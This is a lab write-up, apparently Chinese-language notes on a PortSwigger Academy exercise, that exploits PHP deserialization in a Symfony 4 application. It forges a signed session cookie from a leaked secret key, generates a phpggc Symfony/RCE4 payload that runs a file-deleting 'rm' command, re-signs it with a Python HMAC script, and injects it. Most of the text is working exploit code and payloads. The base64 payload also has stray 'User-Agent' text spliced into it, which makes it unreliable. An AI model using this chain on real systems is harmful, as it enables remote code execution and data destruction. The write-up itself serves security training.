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# 使用预构建小工具链的 PHP 反序列化
使用预构建小工具链的 PHP 反序列化，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 利用预构建的 Gadget 链进行 PHP 反序列化利用
本实验使用基于 PHP 序列化的会话机制，并采用已签名的 **cookie**. / 应用程序基于当前的 PHP **框架**, 无需访问源代码。/ 尽管如此，仍可通过现有的 **gadget 链**.
目标：/ 删除 `/home/carlos/morale.txt` 文件。
提供的标识符：
* **wiener : peter**
**会话 Cookie 分析**
拦截到的 Cookie（URL 编码）：
{% code overflow="wrap" %}
```bash
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D
```
{% endcode %}
解码后：
{% code overflow="wrap" %}
```json
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"}
```
{% endcode %}
该 Cookie 包含：
* `令牌` → 以 Base64 编码的序列化 PHP 对象
* `sig_hmac_sha1` → token 的 HMAC-SHA1 签名
`令牌` 解码：
{% code overflow="wrap" %}
```json
O:4:\"User\":2:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"vkv28qw11a7a77jr04l67laskri65fqz\";}
```
{% endcode %}
**环境识别**
从 `phpinfo()`:
* **PHP 7.4**
**密钥** 显示：
**密钥** : ara511gik1dqity8135f7o7zu7k3yx2j
**Symfony 4.3.6 框架**
**选择 gadget 链**
phpggc 可用的 gadget 列表 `phpggc`:
```bash
./phpggc -l
```
Symfony 4 允许使用通道 **RCE**. / 所选链：
```
Symfony/RCE4
```
**恶意对象的生成**
使用的命令：
```bash
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'
```
生成的序列化 PHP 对象：
{% code overflow="wrap" %}
```json
O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}}
```
{% endcode %}
Base64 编码：
{% code overflow="wrap" %}
```bash
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```
{% endcode %}
**HMAC-SHA1 签名计算**
使用的 Python 脚本：
```python
import hmac, hashlib
secret = b"ara511gik1dqity8135f7o7zu7k3yx2j"
token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT
oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c
zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD
b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=
="
print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest())
```
得到的签名：
```
5270b838edbe7aec15da10cab298ac841d088c90
```
**最终 Cookie 的创建**
Cookie JSON：
{% code overflow="wrap" %}
```json
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"}
```
{% endcode %}
经过 URL 编码后，Cookie 被注入到 HTTP 请求中。
```bash
{"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"}
```
**结果**
签名 Cookie 被应用程序接受/ Symfony gadget 链被执行/ 该 `/home/carlos/morale.txt` 文件被删除
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